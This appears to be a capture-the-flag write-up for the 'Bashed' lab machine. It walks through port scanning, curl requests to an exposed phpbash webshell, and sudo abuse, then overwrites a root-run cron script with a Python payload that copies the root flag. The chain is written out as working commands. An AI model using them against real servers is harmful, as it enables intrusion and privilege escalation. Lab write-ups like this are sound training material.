Post

Bashed

Bashed

Recon

I started with a full port nmap scan.

1
2
3
nmap -Pn -sV -sC -p- --min-rate 3000 10.129.99.212
# 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
# Title: "Arrexel's Development Site"

Only port 80 is open. It is Apache 2.4.18 on Ubuntu, and the site is a blog about a tool called phpbash. Next I ran gobuster to look for hidden directories.

1
2
3
gobuster dir -u http://10.129.99.212 -w /usr/share/wordlists/dirb/common.txt -t 30
# /dev (301) -> phpbash.min.php, phpbash.php
# /uploads (301), /php (301), /css, /js, /images

The /dev folder has phpbash.php in it. That is interesting, because the blog says phpbash is the tool the developer (arrexel) wrote.

Foothold

phpbash is a web based bash shell. It runs our command on the server with PHP’s exec(). It looks like the developer forgot to delete it from /dev/ on the live server, so anyone can use it.

I sent commands to it with curl.

1
2
curl -s -X POST "http://10.129.99.212/dev/phpbash.php" -d "cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

So we have command execution as www-data. As this user I could already read the user flag from arrexel’s home folder.

1
curl -s -X POST "http://10.129.99.212/dev/phpbash.php" -d "cmd=cat /home/arrexel/user.txt"

Root

sudo as scriptmanager

First I checked what www-data can run with sudo.

1
2
curl -s -X POST "http://10.129.99.212/dev/phpbash.php" -d "cmd=sudo -l"
# (scriptmanager : scriptmanager) NOPASSWD: ALL

We can run anything as scriptmanager without a password. Then I looked at the /scripts/ folder.

1
2
-rw-r--r-- 1 scriptmanager scriptmanager  58 Dec  4  2017 test.py
-rw-r--r-- 1 root          root           12 Nov  3 18:07 test.txt

test.py belongs to scriptmanager, so we can edit it. But test.txt belongs to root and has a very recent timestamp. That means something running as root is writing it. My guess was a cron job that runs the Python scripts in /scripts/ as root every minute.

Cron job

If root runs whatever is in test.py, then I can replace it with my own code. This payload copies the root flag into /tmp.

1
f=open("/root/root.txt");g=open("/tmp/r.txt","w");g.write(f.read());f.close();g.close()

To avoid shell quoting problems in the webshell, I base64 encoded the payload, decoded it on the box, and wrote it with tee as scriptmanager.

1
echo '<base64 of python payload>' | base64 -d | sudo -u scriptmanager tee /scripts/test.py

After about a minute the cron job ran the script as root. Then I read the copy from /tmp.

1
cat /tmp/r.txt

That gave me the root flag. At the end I put the original content of test.py back.